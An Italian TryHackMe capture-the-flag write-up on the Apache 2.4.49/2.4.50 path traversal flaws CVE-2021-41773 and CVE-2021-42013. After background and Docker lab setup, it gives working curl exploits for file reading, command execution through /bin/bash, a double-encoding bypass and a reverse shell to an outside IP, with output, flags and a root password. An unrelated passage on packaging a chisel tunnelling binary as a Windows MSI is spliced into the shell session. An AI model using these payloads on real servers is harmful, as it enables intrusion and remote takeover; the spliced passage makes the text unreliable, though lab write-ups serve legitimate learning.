hackedrishi/ctf_writeups-tryhackme-cve-2021-41773-CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
Una breve storia
Il 5 ottobre 2021 è stato rilasciato un CVE che descrive un attacco di path traversal su Apache HTTP Server v2.4.49. Al CVE è stato assegnato il numero CVE-2021-41773 ed è stato rilasciato con la seguente descrizione:
È stata trovata una falla in una modifica apportata alla normalizzazione dei percorsi in Apache HTTP Server 2.4.49. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli URL a file al di fuori della document root prevista. Se i file al di fuori della document root non sono protetti da "require all denied", queste richieste possono avere successo. Inoltre (sic) questa falla potrebbe far trapelare il sorgente di file interpretati come gli script CGI. È noto che questo problema è stato sfruttato in the wild. Questo problema riguarda solo Apache 2.4.49 e non le versioni precedenti.
Analizziamo il tutto e vediamo cosa significa davvero per noi:
Molte correzioni dopo...
Quindi Apache ha corretto questo bug e ha rilasciato la v2.4.50. Fine della storia, vero? Beh, non proprio. Solo 2 giorni dopo, il 7 ottobre, è stato rilasciato un nuovo CVE che citava il precedente. Questo menziona che la correzione per il precedente attacco di path traversal era incompleta, e potevamo ancora traversare se il percorso in questione usava una direttiva alias per mappare i suoi URL al filesystem. Al CVE è stato assegnato il numero CVE-2021-42013, con la seguente descrizione:
È stato riscontrato che la correzione per CVE-2021-41773 in Apache HTTP Server 2.4.50 era insufficiente. Un attaccante potrebbe utilizzare un attacco di path traversal per mappare gli URL a file al di fuori delle directory configurate da direttive simili ad Alias. Se i file al di fuori di queste directory non sono protetti dalla consueta configurazione predefinita "require all denied", queste richieste possono avere successo. Se anche gli script CGI sono abilitati per questi pathes con alias (sic), questo potrebbe consentire l'esecuzione di codice remoto. Questo problema riguarda solo Apache 2.4.49 e Apache 2.4.50 e non le versioni precedenti.
Come prima, possiamo imparare alcune cose:
Mentre elaboriamo questa follia, esamineremo la configurazione richiesta nel prossimo task.
Rispondi alle domande qui sotto
Un pizzico di teoria
Un exploit di Path Traversal è un attacco che mira ad accedere a risorse normalmente inaccessibili abusando di difetti nella risoluzione e/o normalizzazione dei percorsi. Di solito sfruttiamo questo tipo di attacco viaggiando (noto anche come traversing) all'indietro oltre la root prevista usando la sintassi ...
Normalizzazione? Cosa?
Normalmente, quando si fornisce un percorso a del codice per trovare un file, è necessario un percorso assoluto. Chiamiamolo percorso canonico. Quando invece viene fornito un percorso relativo, deve essere normalizzato in una forma canonica in modo che le librerie del sistema operativo che usano quel percorso possano poi trovare la risorsa in questione. Questa è ovviamente una semplificazione, ma il concetto rimane.
Normalizzare gli URL
Un server HTTP deve tradurre un URL in un percorso canonico sul file system per trovare il file corretto da servire. Anche se ci sono sicuramente alcuni filtri in atto per evitare di poter traversare oltre la document root, alcuni casi d'uso possono facilmente essere trascurati. In questo caso, l'exploit sfrutta non solo la codifica URL (ci arriveremo tra un momento) ma anche una falla nella normalizzazione dei percorsi del modulo Alias (presumibilmente).
Una digressione sulla codifica URL
Definita nella RFC 3986 Sezione 2, la codifica URL è uno schema usato per codificare caratteri speciali o riservati all'interno di un URL. Ad esempio, gli spazi in un URL sono codificati come un carattere + (specialmente nei parametri di query). Se vogliamo codificare un più effettivo, dobbiamo codificarlo usando quella che è nota come "percent-encoding". Questo comporta semplicemente prefissare il codice esadecimale US-ASCII del carattere con il segno %. Nel nostro esempio, il simbolo + può essere codificato come %2B.
Qualsiasi carattere può essere codificato in URL, e gli URL completamente codificati sono funzionalmente equivalenti alla versione non codificata. Dalla RFC: Se due URI differiscono solo nel caso delle cifre esadecimali usate negli ottetti con codifica percentuale, sono equivalenti.
Quindi cosa è successo con Apache?
Una modifica recente nel modulo di normalizzazione dei percorsi del server Apache ha poi permesso a un URL appositamente creato di bypassare i filtri e traversare oltre la document root, consentendo la lettura arbitraria di file sul sistema se la configurazione lo permetteva. Inoltre, se il modulo CGI era abilitato, è possibile anche l'esecuzione arbitraria di file!
Rispondi alle domande qui sotto
A) Includere file remoti arbitrari da elaborare sul server. B) Includere file locali arbitrari da elaborare sul server. C) Consentire al server di esporre file arbitrari. D) Nessuna delle precedenti.
Hackerare Apache per divertimento
Quindi, ora che la teoria è finita, passiamo allo sfruttamento di questa falla. Per prima cosa, abbiamo bisogno di una versione vulnerabile di Apache. Fortunatamente abbiamo docker per questo :)```
user@machine$ docker pull httpd:2.4.49
2.4.49: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc
Status: Downloaded newer image for httpd:2.4.49
docker.io/library/httpd:2.4.49
**Configurazione**
Per far funzionare questo exploit, dobbiamo configurare Apache per consentire l'accesso ai file al di fuori della document root. Possiamo essere precisi e specificare una determinata directory, oppure seguire la via YOLO e dare accesso a tutto. Ai nostri fini, dare accesso a tutto andrà benissimo. Per iniziare, avviamo il nostro container e andiamo a modificare la configurazione. Nota che queste modifiche funzionano per entrambe le versioni vulnerabili di Apache.```
user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249- AllowOverride none
250: Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307: Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.
user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
Per inciso, puoi sempre modificare la configurazione a mano. Vogliamo modificare la parte che dice:``` AllowOverride none Require all denied
E sostituisci denied con granted. Questo darà ad Apache accesso all'intero filesystem (che sicuramente NON è una buona idea, quindi non farlo in produzione. Mai).
**Configurazione per quella succulenta RCE**
La semplice modifica dei controlli di accesso porterà all'esposizione dei dati, ma non alla RCE. Per ottenere la RCE nel nostro piccolo PoC, dobbiamo semplicemente attivare il modulo CGI oltre ai permessi di accesso. Questo farà sì che il modulo CGI esegua lo script quando lo chiamiamo, invece di limitarsi a mostrarne il contenuto. Per abilitare CGI, dobbiamo semplicemente decommentare la configurazione LoadModule. Supponendo di avere ancora il container modificato in precedenza, possiamo fare quanto segue:```
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184: #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187: #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387- #
388- # ScriptSock: On threaded servers, designate the path to the UNIX
389: # socket used to communicate with the CGI daemon of mod_cgid.
390- #
391- #Scriptsock cgisock
392-</IfModule>
393-
user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
Potete, naturalmente, usare qualsiasi editor di testo disponibile per modificare i file. Il metodo grep/sed funziona con una shell all'interno del container, poiché non sono disponibili editor di testo.
Passiamo agli Exploit!
Ora che abbiamo configurato il nostro container, possiamo passare a sfruttare questa CVE (finalmente). Il metodo è abbastanza semplice e consiste nell'url-encoding di uno dei simboli . in ogni segmento del percorso URL mentre attraversiamo. Dobbiamo anche attraversare da un percorso con alias. Fortunatamente, sappiamo dalla lettura della config che il percorso cgi-bin è configurato come alias di default, quindi usiamo quello! L'exploit differisce leggermente tra la versione 2.4.49 e la 2.4.50, anche se quest'ultima funziona anche sulla prima.
Apache 2.4.49 senza CGI abilitato
Senza CGI abilitato, possiamo solo leggere file. Usando curl, accediamo semplicemente ai file che vogliamo, applicando l'url-encoding a uno dei . in ogni segmento del percorso.```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /
**Apache 2.4.49 con CGI abilitato**
La CGI complicherà la questione, poiché il modulo tenterà di eseguire il file recuperato. Per testo semplice, come /etc/passwd, questo può essere problematico :). Per eseguire codice, possiamo semplicemente chiamare `sh` o `bash` con il comando nel corpo. Nota che l'header di risposta Content-Type dovrà essere anch'esso inviato affinché il client sappia come visualizzare i risultati.```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#1)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 12:22:34 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #1 to host localhost left intact
Apache 2.4.50
Questo particolare esempio è stato corretto nella versione 2.4.50. Tuttavia, la correzione era incompleta e non teneva conto di una doppia codifica dell'URL. In questo caso, possiamo usare la stessa struttura della versione precedente, con il seguente percorso:``` user@machine$ curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin
Se osserviamo attentamente, possiamo vedere che l'URL decodifica da `%%32%65` a `%2e.` Questo bypassa il codice del filtro e ci consente di uscire dalla directory root del server web.
**Rispondi alle domande qui sotto**
1. **Quale modulo deve essere abilitato per ottenere l'esecuzione remota di codice?**
- **mod_cgi**
---
### Compito 4: Esame pratico
La configurazione è un po' laboriosa, quindi ho fatto tutto io per te! Nella VM allegata a questo compito (attendi fino a 4 minuti per l'avvio corretto di una VM per abbonati e 7 minuti per la VM gratuita), ci sono 4 server Apache vulnerabili configurati come segue:
Apache 2.4.49 without CGI: `http://MACHINE_IP:8080`
Apache 2.4.49 with CGI: `http://MACHINE_IP:8081`
Apache 2.4.50 without CGI: `http://MACHINE_IP:8082`
Apache 2.4.50 with CGI: `http://MACHINE_IP:8083`
Ogni server ha una flag nella directory root denominata `flag.txt`. Il tuo compito è trovarle tutte.
Come obiettivo bonus, prova a ottenere una shell reale su uno dei server con CGI abilitato. Il server sulla porta 8083 ha anche una flag root nascosta.
***Rispondi alle domande qui sotto***
1. **Qual è la flag sulla porta 8080?**
- ***THM{724V3R51N6_P4TH5_F02_FUN}***```
$ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt
- Trying 10.10.107.169:8080...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0)
> GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1
> Host: 10.10.107.169:8080
> User-Agent: curl/7.67.0
> Accept: _/_
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 08:57:26 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT
< ETag: "1d-5ce102e25be36"
< Accept-Ranges: bytes
< Content-Length: 29
< Content-Type: text/plain
<
{ [29 bytes data]
100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN}
- Connection #0 to host 10.10.107.169 left intact
THM{2C3_F20M_C61}``` $ curl -v 'http://10.10.107.169:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"
Trying 10.10.107.169:8081...
TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.107.169 (10.10.107.169) port 8081 (#0)
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 Host: 10.10.107.169:8081 User-Agent: curl/7.67.0 Accept: / Content-Type: text/plain Content-Length: 50
} [50 bytes data]
upload completely sent off: 50 out of 50 bytes
Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 09:01:11 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < { [23 bytes data] 100 67 0 17 100 50 18 54 --:--:-- --:--:-- --:--:-- 74THM{2C3_F20M_C61}
Connection #0 to host 10.10.107.169 left intact
3. **Qual è la flag sulla porta 8082?**
- ***THM{D0UBL3_3NC0D1N6_F7W}***```
$ curl 'http://10.10.37.52:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24 100 24 0 0 23 0 0:00:01 0:00:01 --:--:-- 23THM{D0UBL3_3NC0D1N6_F7W}
5. **Sono riuscito a ottenere una shell! (Non posso verificarlo davvero, quindi mi fido di te su questo :))**
***Nessuna risposta necessaria***
6. **Con quale utente gira il server Apache?**
- ***daemon***
7. **Trova la flag di root sulla macchina sulla porta 8083?**
- ***THM{P21V_35C_F20M_4P4CH3_15_FUN}***```
$ curl -v 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo; bash -i >& /dev/tcp/10.17.31.150/4242 0>&1'
- Trying 10.10.37.52:8083...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.37.52 (10.10.37.52) port 8083 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
> Host: 10.10.37.52:8083
> User-Agent: curl/7.67.0
> Accept: _/_
> Content-Length: 48
> Content-Type: application/x-www-form-urlencoded
>
> } [48 bytes data]
- upload completely sent off: 48 out of 48 bytes
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 12 Nov 2021 16:20:43 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0{ [0 bytes data]
- transfer closed with outstanding read data remaining
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0
- Closing connection 0
curl: (18) transfer closed with outstanding read data remaining
Installa packer tramite lo script install.sh
o tramite Docker:
docker pull ghcr.io/adhocmaster/packer:latest
docker run -it --rm -v "$(pwd)":/app ghcr.io/adhocmaster/packer:latest
Ora che hai packer installato, puoi usarlo per creare un binario di chisel.
Generiamo prima un binario di chisel. Nota che avrai bisogno di Go per questo passaggio.
Useremo poi packer per trasformare il binario in un PE valido e confezionarlo in un MSI.
Per prima cosa, prepara l'ambiente
curl -L -o chisel.gz https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_linux_amd64.gz
gunzip chisel.gz
chmod +x chisel
Poi, esegui packer
./packer -i chisel -p windows/amd64 -m msi
Controlla l'output in `./output```` $ ncat -lvp 4242 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4242 Ncat: Listening on 0.0.0.0:4242 Ncat: Connection from 10.10.37.52. Ncat: Connection from 10.10.37.52:35836. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell daemon@18c7613b3859:/bin$ cd /root cd /root bash: cd: /root: Permission denied daemon@18c7613b3859:/bin$ su root su root Password: ApacheCVE
cd /root
ls root.txt cat root.txt THM{P21V_35C_F20M_4P4CH3_15_FUN}